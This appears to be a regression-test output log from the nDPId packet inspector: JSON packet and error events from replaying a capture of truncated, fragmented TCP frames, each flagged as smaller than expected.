-00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6169,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhukAGQ\/cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475855} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6170,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvEAGQ\/UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475866} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6171,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhvkAGQ\/MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475876} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6172,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwEAGQ\/EKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475886} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6173,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhwkAGQ+8KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475896} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6174,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxEAGQ+0KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475907} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6175,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhxkAGQ+sKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475917} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6176,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhyEAGQ+kKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475928} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6177,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhykAGQ+cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475938} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6178,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzEAGQ+UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475949} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6179,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhzkAGQ+MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475960} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6180,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0EAGQ+EKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475970} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6181,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh0kAGQ98KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475980} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6182,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1EAGQ90KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030475991} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6183,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh1kAGQ9sKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476002} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6184,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2EAGQ9kKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476012} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6185,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh2kAGQ9cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476022} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6186,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3EAGQ9UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476033} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6187,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh3kAGQ9MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476043} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6188,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4EAGQ9EKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476053} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6189,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh4kAGQ88KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476064} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6190,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5EAGQ80KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476075} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6191,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh5kAGQ8sKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476085} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6192,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6EAGQ8kKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476096} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6193,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh6kAGQ8cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476106} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6194,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7EAGQ8UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476116} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6195,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh7kAGQ8MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476127} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6196,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8EAGQ8EKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476137} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6197,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh8kAGQ78KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476147} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6198,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9EAGQ70KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476158} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6199,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh9kAGQ7sKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476170} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6200,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+EAGQ7kKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476214} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6201,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh+kAGQ7cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476232} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6202,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/EAGQ7UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476244} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":6203,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAh\/kAGQ7MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476255} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6204,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAEAGQ7EKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476265} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6205,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiAkAGQ68KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476276} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6206,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBEAGQ60KAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476286} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6207,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiBkAGQ6sKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476296} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6208,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCEAGQ6kKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476306} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6209,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiCkAGQ6cKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476316} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6210,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDEAGQ6UKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476328} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6211,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiDkAGQ6MKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476339} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":6212,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244030473370,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiEEAGQ6EKAAACCoAAAgAAAAAAAAAAAAAAAAAAAAA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":6213,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244030476349} 